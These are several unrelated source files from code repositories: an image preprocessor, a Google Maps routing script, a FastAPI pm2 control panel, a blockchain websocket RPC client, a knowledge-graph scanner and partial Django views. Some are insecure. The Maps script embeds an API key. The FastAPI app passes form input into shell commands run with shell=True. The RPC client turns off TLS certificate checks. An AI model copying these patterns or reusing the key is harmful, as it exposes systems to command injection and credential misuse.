rescale_fac)\n w = int(w / rescale_fac)\n \n # Determined according to the minimum distance\n distance_list = []\n for n in range(config.center_len):\n distance_list.append(np.linalg.norm(np.array([h, w])-np.array(config.center_list[n])))\n min_distance = min(distance_list)\n side_h = config.center_list[distance_list.index(min_distance)][0]\n side_w = config.center_list[distance_list.index(min_distance)][1]\n\n save_path=args.save_path + '_{}x{}'.format(side_h, side_w)\n\n height, width = image.shape[:2]\n scale_h = side_h / height\n scale_w = side_w / width\n scale = min(scale_h, scale_w) # Calculation of scale with different width and height\n width_scaled = int(width * scale)\n height_scaled = int(height * scale)\n image_scaled = cv2.resize(image, (width_scaled, height_scaled))\n image_array = image_scaled.astype(np.float32)\n image_padded = np.full([side_h, side_w, 3], 0, dtype=np.float32)\n width_offset = (side_w - width_scaled) // 2\n height_offset = (side_h - height_scaled) // 2\n image_padded[height_offset:height_offset + height_scaled, width_offset:width_offset + width_scaled, :] \\\n = image_array\n image_norm = image_padded - [123.68, 116.779, 103.939]\n image_norm = np.transpose(image_norm, (2, 0, 1)).astype(np.float32)\n\n temp_name = file[file.rfind('/') + 1:]\n image_norm.tofile(os.path.join(save_path, temp_name.split('.')[0] + \".bin\"))\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Preprocessing of CTPN model')\n parser.add_argument('--src_dir', default='data/Challenge2_Test_Task12_Images', type=str, \n help='The file records the pictures that need to be preprocessed')\n parser.add_argument('--save_path', default='data/images_bin', type=str, help='Output path, If not exist, create it')\n args = parser.parse_args()\n\n preprocess(args)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "ACL_PyTorch/contrib/cv/detection/CTPN/ctpn_preprocess.py", "file_name": "ctpn_preprocess.py", "file_ext": "py", "file_size_in_byte": 2744, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 22, "usage_type": "call"}, {"api_name": "config.center_len", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "config.center_list", "line_number": 33, "usage_type": "attribute"}, {"api_name": "config.center_list", "line_number": 35, "usage_type": "attribute"}, {"api_name": "config.center_list", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 60, "usage_type": "call"}]} {"seq_id": "15637160124", "text": "import googlemaps\nimport pandas as pd\nimport json\n\nKEY = 'AIzaSyBa7_tGiDTn4v4PQAYwWc5umPhg0vaIN3E'\n\nHEAD = 'https://maps.googleapis.com/maps/api/staticmap?'\n\n\ndef combine(dct):\n return '|' + str(dct['lat']) + ',' + str(dct['lng'])\n\n\ndef map_image(d, o):\n\n gmaps = googlemaps.Client(key=KEY)\n\n dest = gmaps.geocode(d)\n origin = gmaps.geocode(o)\n\n dest_add = dest[0]['formatted_address']\n origin_add = origin[0]['formatted_address']\n\n directions = gmaps.directions(dest_add, origin_add, transit_mode='train')[0]\n\n path = combine(directions['legs'][0]['start_location'])\n\n steps = directions['legs'][0]['steps']\n\n for step in steps:\n path += combine(step['end_location'])\n\n link = HEAD + 'size=400x400&path=color:0x0000ff|weight:5' + path + '&key=' + KEY\n\n return link, steps\n\ndef main():\n\n d = 'Millis, MA'\n o = 'Boston, MA'\n link, steps = map_image(d, o)\n print(link)\n print(steps)\n df_steps = pd.DataFrame(steps)\n print(df_steps.to_string())\n print(df_steps['distance'])\n texts = []\n for s in df_steps['distance']:\n texts.append(s['text'])\n print(texts)\n\n df_steps['text'] = texts\n print(df_steps.to_string())\n\n\n\n\n\n\n\nmain()", "repo_name": "Joeyjas5963/Final-Project", "sub_path": "image.py", "file_name": "image.py", "file_ext": "py", "file_size_in_byte": 1212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "googlemaps.Client", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}]} {"seq_id": "43411856606", "text": "import os\nimport subprocess\n\nimport fastapi\nimport uvicorn\nfrom fastapi import FastAPI, Request\nfrom fastapi.responses import HTMLResponse, RedirectResponse\nfrom fastapi.templating import Jinja2Templates\n\nfrom rin_db_exc.classes.PersistentQSQLite import PersistentQSQLite as psql\nfrom rin_db_exc.log_error import get_yaml\n\nconfig_path: str = os.path.dirname(__file__) + \"/config.yaml\"\nscript_path = os.path.dirname(os.path.realpath(__file__))\napp = FastAPI()\ntemplates = Jinja2Templates(directory=script_path + \"/templates\")\n\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def get_form() -> str:\n \"\"\"\n Generates the HTML-basedd form where user can enter configuration file path, producer and consumer names, and have\n the option to start/end producer, consumer, manager and cleaner.\n \"\"\"\n return \"\"\"\n
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\n\n \n
\n \n \n

\n \n \n \"\"\"\n\n\n@app.post(\"/\")\nasync def execute_command(conf_path: str = fastapi.Form(...), action: str = fastapi.Form(...),\n p_name: str = fastapi.Form(...), c_name: str = fastapi.Form(...)):\n \"\"\"\n Function responsible for executing pm2 commands.\n Input is received from the submitted form and returns a string.\n \"\"\"\n global config_path\n global script_path\n config_path = conf_path\n\n map_button = {\n \"add_prod\": f\"pm2 start {script_path}/scripts/producer_pm2.py --name {p_name} -- {conf_path} {p_name}\",\n \"add_cons\": f\"pm2 start {script_path}/scripts/consumer_pm2.py --name {c_name} -- {conf_path} {c_name}\",\n \"del_prod\": f\"pm2 stop {p_name}\",\n \"del_cons\": f\"pm2 stop {c_name}\",\n \"yes_man\": f\"pm2 start {script_path}/scripts/manager_pm2.py -- {conf_path}\",\n \"yes_cln\": f\"pm2 start {script_path}/scripts/cleaner_pm2.py -- {conf_path}\",\n \"no_man\": f\"pm2 stop {script_path}/scripts/manager_pm2.py\",\n \"no_cln\": f\"pm2 stop {script_path}/scripts/cleaner_pm2.py\",\n \"tables\": \"redir tables\"\n }\n command = map_button.get(action, \"invalid\")\n if command == \"redir tables\":\n return RedirectResponse(\"/tables\", status_code=303)\n\n elif command == \"invalid\":\n return \"Invalid action!\"\n\n try:\n subprocess.run(command, shell=True, check=True)\n return f\"Command executed successfully: {command}\"\n except subprocess.CalledProcessError as e:\n return f\"Command execution failed: {command}, Error: {e}\"\n\n\n@app.get(\"/tables\", response_class=HTMLResponse)\nasync def show_tables(request: Request):\n global config_path\n path = get_yaml(config_path).get('general', {\"primary_path\": os.getcwd()}).get('primary_path', os.getcwd())\n queue = psql(path)\n unprocessed = queue.get_state(\"unprocessed\")\n invalid = queue.get_state(\"invalid\")\n finished = queue.get_state(\"processed\")\n\n return templates.TemplateResponse(\"tables.html\", {\n \"request\": request,\n \"unprocessed_jobs\": unprocessed,\n \"finished_jobs\": finished,\n \"invalid_jobs\": invalid,\n })\n\n\ndef run_web_app():\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n", "repo_name": "nxceurin/atk-training-rin-q-basic", "sub_path": "rin_db_exc/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 14, "usage_type": "call"}, {"api_name": "fastapi.FastAPI", "line_number": 15, "usage_type": "call"}, {"api_name": "fastapi.templating.Jinja2Templates", "line_number": 16, "usage_type": "call"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 19, "usage_type": "name"}, {"api_name": "fastapi.Form", "line_number": 53, "usage_type": "call"}, {"api_name": "fastapi.Form", "line_number": 54, "usage_type": "call"}, {"api_name": "fastapi.responses.RedirectResponse", "line_number": 76, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 82, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 84, "usage_type": "attribute"}, {"api_name": "fastapi.Request", "line_number": 89, "usage_type": "name"}, {"api_name": "rin_db_exc.log_error.get_yaml", "line_number": 91, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 91, "usage_type": "call"}, {"api_name": "rin_db_exc.classes.PersistentQSQLite.PersistentQSQLite", "line_number": 92, "usage_type": "call"}, {"api_name": "fastapi.responses.HTMLResponse", "line_number": 88, "usage_type": "name"}, {"api_name": "uvicorn.run", "line_number": 106, "usage_type": "call"}, {"api_name": "uvicorn.run", "line_number": 110, "usage_type": "call"}]} {"seq_id": "32913577619", "text": "import sys\nimport threading\nimport websocket\nimport ssl\nimport json\nimport time\nfrom itertools import cycle\nimport warnings\nimport logging\nlog = logging.getLogger(__name__)\n\n\nclass RPCError(Exception):\n pass\n\n\nclass NumRetriesReached(Exception):\n pass\n\n\nclass GrapheneWebsocketRPC(object):\n \"\"\" This class allows to call API methods synchronously, without\n callbacks. It logs in and registers to the APIs:\n\n * database\n * history\n\n :param str urls: Either a single Websocket URL, or a list of URLs\n :param str user: Username for Authentication\n :param str password: Password for Authentication\n :param Array apis: List of APIs to register to (default: [\"database\", \"network_broadcast\"])\n :param int num_retries: Try x times to num_retries to a node on disconnect, -1 for indefinitely\n\n Available APIs\n\n * database\n * network_node\n * network_broadcast\n * history\n\n Usage:\n\n .. code-block:: python\n\n ws = GrapheneWebsocketRPC(\"ws://10.0.0.16:8090\",\"\",\"\")\n print(ws.get_account_count())\n\n .. note:: This class allows to call methods available via\n websocket. If you want to use the notification\n subsystem, please use ``GrapheneWebsocket`` instead.\n\n \"\"\"\n def __init__(self, urls, user=\"\", password=\"\", **kwargs):\n self.api_id = {}\n self._request_id = 0\n if isinstance(urls, list):\n self.urls = cycle(urls)\n else:\n self.urls = cycle([urls])\n self.user = user\n self.password = password\n self.num_retries = kwargs.get(\"num_retries\", -1)\n\n self.wsconnect()\n self.register_apis()\n\n def get_request_id(self):\n self._request_id += 1\n return self._request_id\n\n def wsconnect(self):\n cnt = 0\n while True:\n cnt += 1\n self.url = next(self.urls)\n log.debug(\"Trying to connect to node %s\" % self.url)\n if self.url[:3] == \"wss\":\n sslopt_ca_certs = {'cert_reqs': ssl.CERT_NONE}\n self.ws = websocket.WebSocket(sslopt=sslopt_ca_certs)\n else:\n self.ws = websocket.WebSocket()\n try:\n self.ws.connect(self.url)\n break\n except KeyboardInterrupt:\n raise\n except:\n if (self.num_retries >= 0 and cnt > self.num_retries):\n raise NumRetriesReached()\n\n sleeptime = (cnt - 1) * 2 if cnt < 10 else 10\n if sleeptime:\n log.warning(\n \"Lost connection to node during wsconnect(): %s (%d/%d) \"\n % (self.url, cnt, self.num_retries) +\n \"Retrying in %d seconds\" % sleeptime\n )\n time.sleep(sleeptime)\n self.login(self.user, self.password, api_id=1)\n\n def register_apis(self):\n self.api_id[\"database\"] = self.database(api_id=1)\n self.api_id[\"history\"] = self.history(api_id=1)\n self.api_id[\"network_broadcast\"] = self.network_broadcast(api_id=1)\n\n \"\"\" RPC Calls\n \"\"\"\n def rpcexec(self, payload):\n \"\"\" Execute a call by sending the payload\n\n :param json payload: Payload data\n :raises ValueError: if the server does not respond in proper JSON format\n :raises RPCError: if the server returns an error\n \"\"\"\n log.debug(json.dumps(payload))\n cnt = 0\n while True:\n cnt += 1\n\n try:\n self.ws.send(json.dumps(payload, ensure_ascii=False).encode('utf8'))\n reply = self.ws.recv()\n break\n except KeyboardInterrupt:\n raise\n except:\n if (self.num_retries > -1 and\n cnt > self.num_retries):\n raise NumRetriesReached()\n sleeptime = (cnt - 1) * 2 if cnt < 10 else 10\n if sleeptime:\n log.warning(\n \"Lost connection to node during rpcexec(): %s (%d/%d) \"\n % (self.url, cnt, self.num_retries) +\n \"Retrying in %d seconds\" % sleeptime\n )\n time.sleep(sleeptime)\n\n # retry\n try:\n self.ws.close()\n time.sleep(sleeptime)\n self.wsconnect()\n self.register_apis()\n except:\n pass\n\n ret = {}\n try:\n ret = json.loads(reply, strict=False)\n except ValueError:\n raise ValueError(\"Client returned invalid format. Expected JSON!\")\n\n log.debug(json.dumps(reply))\n\n if 'error' in ret:\n if 'detail' in ret['error']:\n raise RPCError(ret['error']['detail'])\n else:\n raise RPCError(ret['error']['message'])\n else:\n return ret[\"result\"]\n\n # End of Deprecated methods\n ####################################################################\n def __getattr__(self, name):\n \"\"\" Map all methods to RPC calls and pass through the arguments\n \"\"\"\n def method(*args, **kwargs):\n\n # Sepcify the api to talk to\n if \"api_id\" not in kwargs:\n if (\"api\" in kwargs):\n if (kwargs[\"api\"] in self.api_id and\n self.api_id[kwargs[\"api\"]]):\n api_id = self.api_id[kwargs[\"api\"]]\n else:\n raise ValueError(\n \"Unknown API! \"\n \"Verify that you have registered to %s\"\n % kwargs[\"api\"]\n )\n else:\n api_id = 0\n else:\n api_id = kwargs[\"api_id\"]\n\n # let's be able to define the num_retries per query\n self.num_retries = kwargs.get(\"num_retries\", self.num_retries)\n\n query = {\"method\": \"call\",\n \"params\": [api_id, name, list(args)],\n \"jsonrpc\": \"2.0\",\n \"id\": self.get_request_id()}\n r = self.rpcexec(query)\n return r\n return method\n", "repo_name": "AnCh7/sweetshot", "sub_path": "python3-src/grapheneapi/graphenewsrpc.py", "file_name": "graphenewsrpc.py", "file_ext": "py", "file_size_in_byte": 6461, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 57, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 59, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 78, "usage_type": "attribute"}, {"api_name": "websocket.WebSocket", "line_number": 79, "usage_type": "call"}, {"api_name": "websocket.WebSocket", "line_number": 81, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 98, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 115, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 137, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 142, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 150, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 154, "usage_type": "call"}]} {"seq_id": "21033238347", "text": "import pandas as pd\nimport datetime\nimport file_util\nfrom abox_scanner.AboxScannerScheduler import AboxScannerScheduler\nfrom abox_scanner.ContextResources import ContextResources\nimport random\nfrom pipelines.exp_config import *\nfrom pipelines.pipeline_util import *\nfrom pipelines.ProducerBlock import PipelineConfig\n\n\ndef evalACC(in_dir, work_dir, max):\n triples_path = in_dir + \"abox_hrt_uri.txt\" # h, t, r\n tbox_patterns_path = in_dir + \"tbox_patterns/\"\n context_res = ContextResources(triples_path, class_and_op_file_path=in_dir, work_dir=work_dir)\n abox_scanner_scheduler = AboxScannerScheduler(tbox_patterns_path, context_resources=context_res)\n v, _ = abox_scanner_scheduler.register_patterns_all().scan_rel_IJPs(work_dir, False)\n context_res.hrt_int_df = v\n random_rel = context_res.id2op.keys()\n random_rel = random_rel if len(random_rel) < max else random.sample(random_rel, max)\n random_df = pd.DataFrame(data=random_rel, columns=['rel'])\n candidate_ents = context_res.id2ent.keys()\n random_df['c_h'] = random_df['rel'].apply(\n func=lambda x: random.sample(candidate_ents, max))\n random_df.reset_index(drop=True)\n random_df['c_t'] = random_df['rel'].apply(\n func=lambda x: random.sample(candidate_ents, max))\n random_df.reset_index(drop=True)\n\n def explode(tmp_df, col, rename_col) -> pd.DataFrame:\n tmp_df[col] = tmp_df[col].apply(lambda x: list(x))\n tm = pd.DataFrame(list(tmp_df[col])).stack().reset_index(level=0)\n tm = tm.rename(columns={0: rename_col}).join(tmp_df, on='level_0'). \\\n drop(axis=1, labels=[col, 'level_0']).reset_index(drop=True)\n return tm\n\n random_df = explode(random_df, \"c_h\", \"head\").dropna(how='any')\n random_df = explode(random_df, \"c_t\", \"tail\").dropna(how='any').astype('int64')\n random_df = random_df.sample(n=max)[['head', 'rel', 'tail']]\n start_time = datetime.datetime.now()\n to_scan_df = pd.concat([context_res.hrt_int_df, random_df]).drop_duplicates(keep=\"first\").reset_index(\n drop=True)\n context_res.hrt_to_scan_df = to_scan_df\n v, inv = abox_scanner_scheduler.scan_rel_IJPs(work_dir=\"\", save_result=False, log_process=True)\n print(f\"The time of ABox scanning is {datetime.datetime.now() - start_time}\")\n print(f\"inv count:{len(inv.index)}\")\n inv = inv[['head', 'rel', 'tail']]\n context_res.hrt_int_df = pd.concat([context_res.hrt_int_df, inv]).drop_duplicates(keep=\"first\").reset_index(\n drop=True)\n context_res.to_ntriples(work_dir=work_dir, schema_in_nt=in_dir + \"tbox.nt\")\n inv[['head', 'tail']] = inv[['head', 'tail']].applymap(lambda x: context_res.id2ent[x])\n inv[['rel']] = inv[['rel']].applymap(lambda x: context_res.id2op[x]) # to uri\n inv.to_csv(work_dir + \"inv.csv\", header=False, index=False, sep='\\t')\n\n\nif __name__ == \"__main__\":\n # indir = \"../resources/TREAT/\"\n # wdir = \"../outputs/test/\"\n # indir = \"../resources/NELL/\"\n # wdir = \"../outputs/test/\"\n indir = \"../resources/DBpedia-politics/\"\n wdir = \"../outputs/test/\"\n evalACC(indir, wdir, 100)\n\n", "repo_name": "sig4kg/SIKGC", "sub_path": "data_preparing/evalACC.py", "file_name": "evalACC.py", "file_ext": "py", "file_size_in_byte": 3096, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "abox_scanner.ContextResources.ContextResources", "line_number": 15, "usage_type": "call"}, {"api_name": "abox_scanner.AboxScannerScheduler.AboxScannerScheduler", "line_number": 16, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 21, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 24, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 48, "usage_type": "call"}]} {"seq_id": "39842901855", "text": "from django.core import paginator\nfrom django.db.models.aggregates import Max\nfrom django.shortcuts import render,get_object_or_404\nfrom django.template.loader import render_to_string\nfrom django.http import JsonResponse\nfrom .models import *\nfrom .forms import *\nfrom django.contrib import messages\nfrom django.shortcuts import redirect, render\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import redirect, render,get_object_or_404\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom .decorators import unauthenticated_user\nfrom django.http import HttpResponse\nfrom django.core.paginator import Paginator\nimport folium\nimport xlwt\nfrom django.contrib.auth import update_session_auth_hash\nfrom django.db.models import Count, Max\nimport json\n\n#---------------------Login and Register view------------------------------------------------------------\n\n\ndef loginRegister(request):\n\n\tsaved = False\n\tif request.POST.get(\"group\") == \"1\":\n\t\t\tformCentreFormation = centreFormationForm(request.POST)\n\t\t\tif formCentreFormation.is_valid():\n\t\t\t\t\t\tregister = formCentreFormation.save()\n\t\t\t\t\t\tuser_group = Group.objects.get(id=request.POST.get(\"group\")) \n\t\t\t\t\t\tregister.groups.add(user_group)\n\t\t\t\t\t\tsaved = True\n\telse:\n\t\tformCentreFormation = centreFormationForm()\n\tif request.POST.get(\"group\")== \"2\":\n\t\t\tformPersonne = PersonneForm(request.POST)\n\t\t\tif formPersonne.is_valid():\n\t\t\t\t\t\tregister = formPersonne.save()\n\t\t\t\t\t\tuser_group = Group.objects.get(id=request.POST.get(\"group\")) \n\t\t\t\t\t\tregister.groups.add(user_group)\t\n\t\t\t\t\t\tsaved = True\n\telse:\n\t\tformPersonne = PersonneForm()\n\tif saved:\n\t\tmessages.info(request, 'Votre compte a été creer avec succée ! Connectez-vous maintenant')\n\n \n \n\tif request.POST.get(\"sign-in\"):\n\t\tusername = request.POST.get('username')\n\t\tpassword = request.POST.get('password')\n \n\t\tuser = authenticate(request,username=username, password=password)\n\t\tif user is not None:\n\t\t\tlogin(request, user)\n\t\t\treturn redirect('index')\n\t\telse:\n\t\t\tmessages.info(request, 'Nom d\\'utilisateur ou mot de passe incorrecte')\n\tcontext = {\n\t\t\t\t'formPersonne' : formPersonne,\n\t\t\t \t'formCentreFormation' : formCentreFormation,\n\t }\n \n\treturn render(request, 'login_register/login_register.html', context)\n\ndef logoutUser(request):\n\tlogout(request)\n\treturn redirect('loginRegister')\n\n@unauthenticated_user\ndef home(request):\n\t\n \n \n\tcount_member = Membre.objects.count()\n\tcount_activity = Activite.objects.count()\n\tcount_partners = Partenaire.objects.count()\n\tcount_etablissement = Etablissement.objects.count()\n\t\n\tcontext = {\n\t\t'count_member' : count_member,\n\t\t'count_activity' : count_activity,\n\t\t'count_partners' : count_partners,\n\t\t'count_etablissement' : count_etablissement\n\t} \n\treturn render(request,'index.html', context)\n\n#-------------------Dashboard Admin views---------------------------------------------------------------------\n\n@unauthenticated_user\ndef profil_admin(request):\n\tmember = Membre.objects.get(username=request.user.username)\n\tif request.method == 'POST':\n\t\tmemberForm = MemberForm(request.POST, request.FILES, instance=member)\n\t\tif memberForm.is_valid():\n\t \n\t\t\n\t\t\tmemberForm.save()\n\t\t\tmessages.info(request, 'Profil Modifié avec succée !')\n\t\telse:\n\t\t\tmessages.error(request, 'Une erreur est survenu !')\n\t\n\t\tresponse = {\n\t\t\t'data_is_valid' : True\n\t\t}\n\t\treturn JsonResponse(response)\n\n\n\telse:\n\t\tmemberForm = MemberForm(instance=member)\n \n \n\t\tcontext = {\n\t\t\t'memberForm' : memberForm\n\t\t}\n\t\treturn render(request,'dashboard_admin/profil.html', context)\n\n\ndef resetPassword(request):\n\tif request.method == 'POST':\n\t\tformPassword = PasswordChangeCustomForm(request.user, request.POST)\n\t\t\n\t\tif formPassword.is_valid():\n\t\t\tuser = formPassword.save()\n\t\t\tupdate_session_auth_hash(request, user) # Important!\n\t\t\tmessages.success(request, 'Votre mot de passe a été bien changer')\n\t\t\treturn redirect('logout')\n\t\telse:\n\t\t\tmessages.error(request, 'Veuillez corriger les erreurs ci dessous')\n\tformPassword = PasswordChangeCustomForm(request.user)\n\tcontext = {\n\t\t'formPassword' : formPassword,\n\t} \n\treturn render(request, 'dashboard_admin/reset-password.html', context)\n\n#----------------------------------------ACTIVITY------------------------------------------------------\n\n@unauthenticated_user\ndef activitylist(request):\n\tactivity_admin = Activite.objects.all()\n\tactivity_membre = Activite.objects.exclude(membres=request.user.id)\n\n\tpaginator_membre = Paginator(activity_membre,4)\n\tpages_membre = request.GET.get('page')\n\tpages_obj_membre = paginator_membre.get_page(pages_membre)\n\n\tpaginator_admin = Paginator(activity_admin,4)\n\tpages_admin = request.GET.get('page')\n\tpages_obj_admin = paginator_admin.get_page(pages_admin)\n\n\tcontext = {\n 'activity_admin' : pages_obj_admin,\n\t\t'activity_membre' : pages_obj_membre,\n }\n\treturn render(request,'dashboard_admin/activitieslist.html',context)\n\ndef save_all_act(request,form,template_name):\n\tdata = dict()\n\tif request.method == \"POST\":\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tdata['form_is_valid']=True\n\t\t\tactivity=Activite.objects.all()\n\t\t\tdata['activitylist'] = render_to_string('dashboard_admin/activities/activityitems.html',{'activity':activity})\n\telse:\n\t\tdata['form_is_valid']=False\n\t\n\tcontext={\n\t\t'form': form,\n\t}\n\tdata['html_form'] = render_to_string(template_name,context,request)\n\treturn JsonResponse(data)\n\ndef Participate(request,act_id):\n\tdata = dict()\n\tsaved = False\n\tactivity = get_object_or_404(Activite , id=act_id )\n\tif request.method == 'POST':\n\t\tprint('post')\n\t\tdata['form_is_valid']=True\n\t\tsaved = True\n\t\tactivity.membres.add(Membre.objects.get(id=request.user.id))\n\tif saved:\n\t\tmessages.info(request, 'Vous Participez desormais à cette activité !')\n\telse:\n\t\tprint('get')\n\t\tcontext={\n\t\t\t'activity':activity,\n\t\t}\n\t\tdata['html_form'] = render_to_string('dashboard_membre/participate.html',context,request=request)\n\treturn JsonResponse(data)\n\ndef actdetails(request,act_id):\n\tdata = dict()\n\tactivity = get_object_or_404(Activite, id=act_id)\n\tmembres = [m for m in Membre.objects.all() if m in activity.membres.all().exclude(id=request.user.id)]\n\tcontext={\n\t\t'activity':activity,\n\t\t'membres': membres,\n\t}\n\tdata['html_form'] = render_to_string(\"dashboard_membre/activitydetail.html\",context,request=request)\n\treturn JsonResponse(data)\n\n\ndef addactivity(request):\n\tif request.method == 'POST':\n\t\tform = ActiviteForm(request.POST)\n\telse:\n\t\tform = ActiviteForm()\n\treturn save_all_act(request,form,'dashboard_admin/activities/addactivity.html')\n\ndef modifyactivity(request,modify_id):\n\tactivity = get_object_or_404(Activite , id=modify_id )\n\tif request.method == 'POST':\n\t\tform = ActiviteForm(request.POST,instance=activity)\n\telse:\n\t\tform = ActiviteForm(instance=activity)\n\treturn save_all_act(request,form,'dashboard_admin/activities/modifyactivity.html')\n\n\ndef deleteactivity(request,delete_id):\n\tdata = dict()\n\tactivity = get_object_or_404(Activite , id=delete_id)\n\n\tif request.method == 'POST':\n\t\tactivity.delete()\n\t\tdata['form_is_valid']=True\n\t\tactivity=Activite.objects.all()\n\t\tdata['activitylist'] = render_to_string('dashboard_admin/activities/activityitems.html',{'activity':activity})\n\telse:\n\t\tcontext={\n\t\t'activity':activity,\n\t\t}\n\t\tdata['html_form'] = render_to_string('dashboard_admin/activities/deleteactivity.html',context,request=request)\n\treturn JsonResponse(data)\n\ndef exportetactivity(request):\n\tresponse = HttpResponse(content_type='application/ms-excel')\n\tresponse['Content-Disposition'] = 'attachment; filename=\"Liste Activités.xls\"'\n\n\twb = xlwt.Workbook(encoding='utf-8')\n\tws = wb.add_sheet('Users Data') \n\trow_num = 0\n\n\tfont_style = xlwt.XFStyle()\n\tfont_style.num_format_str = 'D-MMM-YY'\n\tfont_style.font.bold = True\n\n\tcolumns = ['Nom', 'Description', 'Date']\n\trows = Activite.objects.all().values_list('nom','desc', 'date')\n\t\n\tfor col_num in range(len(columns)):\n\t\tws.write(row_num, col_num, columns[col_num], font_style) # at 0 row 0 column \n\t# Sheet body, remaining rows\n\tfont_style = xlwt.XFStyle()\n\n\tstyle = xlwt.XFStyle()\n\tstyle.num_format_str = 'D-MMM-YY'\n\t\n\tfor row in rows:\n\t\trow_num += 1\n\t\tfor col_num in range(len(row)):\n\t\t\tif col_num == 2:\n\t\t\t\tws.write(row_num, col_num, row[col_num], style)\n\t\t\telse:\n\t\t\t\tws.write(row_num, col_num, row[col_num], font_style)\n\n\n\twb.save(response)\n\n\treturn response\n\n#----------------------------------------MEMBRES---------------------------------------------------\n@unauthenticated_user\ndef memberslist(request):\n\tpersonne = Personne.objects.all()\n\tpaginator_pers = Paginator(personne,4)\n\tpages_p = request.GET.get('pagePerson')\n\tpage_pers = paginator_pers.get_page(pages_p)\n\n\tcentre = Centre_formation.objects.all()\n\tpaginator_centr = Paginator(centre,4)\n\tpages_c = request.GET.get('pageCenter')\n\tpage_centr = paginator_centr.get_page(pages_c)\n\n\tcontext = {\n\t\t'personne':page_pers,\n\t\t'centre':page_centr,\n\t}\n\n\treturn render(request,'dashboard_admin/memberlist.html',context)\n\ndef save_all_memb(request,form,template_name):\n\tdata = dict()\n\tif request.method == \"POST\":\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tdata['form_is_valid']=True\n\t\telse:\n\t\t\tdata['form_is_valid']=False\n\t\t\tmessages.error(request, 'Something went wrong !')\t\n\telse:\t\n\t\tcontext={\n\t\t\t'form': form,\n\t\t\t}\n\t\tdata['html_form'] = render_to_string(template_name,context,request)\n\treturn JsonResponse(data)\n#----------- PERSONNE ----------#\ndef addpersonne(request):\n\tif request.method == 'POST':\n\t\tform = PersonneForm(request.POST)\n\telse:\n\t\tform = PersonneForm()\n\treturn save_all_memb(request,form,'dashboard_admin/membres/personne/addpersonne.html') \n\ndef modifypersonne(request,modify_id):\n\tpersonne = Personne.objects.get(id=modify_id)\n\tif request.method == 'POST':\n\t\tform = 